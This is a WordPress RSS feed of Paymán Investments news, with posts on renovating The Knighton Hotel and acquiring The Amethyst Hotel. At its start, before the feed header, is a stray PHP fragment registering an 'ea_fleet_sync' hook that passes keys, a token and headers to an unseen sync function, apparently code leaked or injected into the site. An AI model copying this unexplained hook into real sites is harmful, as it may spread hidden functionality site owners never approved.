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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Uncategorized Archives - Paymán Investments https://paymaninvestments.com/news/category/uncategorized/ Rewarding your trust. Sat, 06 Mar 2021 12:36:58 +0000 en-GB hourly 1 https://wordpress.org/?v=7.1 https://paymaninvestments.com/wp-content/uploads/2020/11/FAVICON-02-150x150.png Uncategorized Archives - Paymán Investments https://paymaninvestments.com/news/category/uncategorized/ 32 32 Renovation of The Knighton Hotel Nears Completion https://paymaninvestments.com/news/renovation-of-the-knighton-hotel-nears-completion/ https://paymaninvestments.com/news/renovation-of-the-knighton-hotel-nears-completion/#respond Sat, 06 Mar 2021 10:28:19 +0000 http://paymaninvestments.com/?p=1853 Renovation works at The Knighton Hotel are nearing conclusion. Following the recent purchase of The Knighton Hotel, Paymán Investments began renovating the hotel so as to upgrade to a higher standard in anticipation of the lifting of restrictions related to the pandemic. Works commenced initially with fixing the roof, which had suffered from the loss […]

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]]> Renovation works at The Knighton Hotel are nearing conclusion. Following the recent purchase of The Knighton Hotel, Paymán Investments began renovating the hotel so as to upgrade to a higher standard in anticipation of the lifting of restrictions related to the pandemic.

Works commenced initially with fixing the roof, which had suffered from the loss and displacement of some slates. This had caused water ingress from various points, which had to be made water tight. While some parts of the roof were more easily accessible, a cherry picker had to be hired to work on other parts.

Further water damage had been caused from leaking window sills in some of the bedrooms alongside the front facade of the property facing Broad Street, the main road in the town bordering Wales and England.

Given the listed nature of the property, specialist workers had to be contracted to ensure works were carried out in a compliant way.

Besides ensuring that no further water damage was taking place from water ingress, remedial works were also undertaken to ensure the affected areas are cleaned up and put right. Not only had water entered from outside of the hotels, there were also certain pipes that had burst, the damage from which had to be dealt with. Besides fixing the guilty pipes, this involved drying up moisture, skimming and painting walls, and replacing carpets.

The bathrooms were already in a very good condition, so the rest of the work focused on redecorating the bedrooms. Featured walls with beautiful colours giving a high-end luxury feel will ensure the hotel provides an attractive holiday destination for the upcoming surge in staycations. Paintings and mirrors were also added to fill the walls. New furniture for all the bedrooms has also been ordered and is scheduled to be delivered next week to replace existing furniture.

If you want to find out more about investing with Paymán Investments to help purchase and revitalise hotels across the country and help safeguard British hospitality for future generations, please visit our website.

If you would like to book a stay at The Knighton Hotel, you can do so here.

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]]> https://paymaninvestments.com/news/renovation-of-the-knighton-hotel-nears-completion/feed/ 0 Hotel Acquisition Completed in Booming Contractor Market https://paymaninvestments.com/news/hotel-acquisition-completed-in-booming-contractor-market/ https://paymaninvestments.com/news/hotel-acquisition-completed-in-booming-contractor-market/#respond Mon, 01 Feb 2021 16:46:23 +0000 http://paymaninvestments.com/?p=1742 Paymán Investments Purchases Hotel in Contractor Market A mere one working day after the finalisation of the deal for the Douglas Arms Hotel, Paymán Investments has finalised the purchase of The Amethyst Hotel in East Halton, Immingham. About East Halton East Halton is a small village in North Lincolnshire that is well situated for access […]

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]]> Paymán Investments Purchases Hotel in Contractor Market

A mere one working day after the finalisation of the deal for the Douglas Arms Hotel, Paymán Investments has finalised the purchase of The Amethyst Hotel in East Halton, Immingham.

About East Halton

East Halton is a small village in North Lincolnshire that is well situated for access to Immingham, Grimsby, Cleethorpes, Scunthorpe, and Hull. Just a five-minute drive away lie the Oil Refineries, Power Stations and the port of Immingham and the expanding North Killingholme port with the local train station and Humberside Airport a short drive further.

The extensive industrial enterprises in the area drive a lot of traffic for short term accommodation. Given the lack of adequate suitable options to meet the demand, the local council informally indicated strong support for the acquisition and further expansion of the overnight accommodation provided by The Amethyst Hotel.

The Amethyst Hotel was chosen as an asset to invest in thanks to the year-round contractor demand, so as to help balance out seasonality in other invesments undertaken by Paymán Investments. Given the situation created by the pandemic, previous buyers had found it difficult to raise adequate funding and the property had ended up on the market again for a very attractive price.

About The Amethyst Hotel

Deceivingly small at first appearance, the property actually comprises nearly 600 square metres of construction. These currently consist of 11 en-suite rooms, a restaurant, a lounge bar, and a conference room. Moreover, a private wing of the building has been arranged to provide a 4 bedroomed duplex apartment, which has so far been used by the live-in owners, but will now be rented out to generate additional income. Subject to necessary permissions being obtained, the existing building could be converted to provide around 25 self-catering units. Given the nature of the target market, these should prove very attractive to corporate guests looking to stay for a few weeks or months at a time.

Besides the substantial building itself, the property also benefits from a plot of 0.59 of an acre in a semi-rural area with views to open countryside. The purchase has been underway since September, and part of the delay in achieving completion centred around the unregistered title of the property, which may have also put other buyers off. Luckily, our expert legal team consisting of Kian Golestani and Darren Lewis were able to navigate through all the complexities that this entailed to ensure the deal was closed successfully.

While the grounds are currently laid out to provide parking for over 50 cars and beautifully maintained gardens, they provide an opportunity for further development work to increase the accommodation available to cater for a larger number of guests.

The Amethyst Hotel will be managed by Keezark and can now be booked through Paymán Club.

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]]> https://paymaninvestments.com/news/hotel-acquisition-completed-in-booming-contractor-market/feed/ 0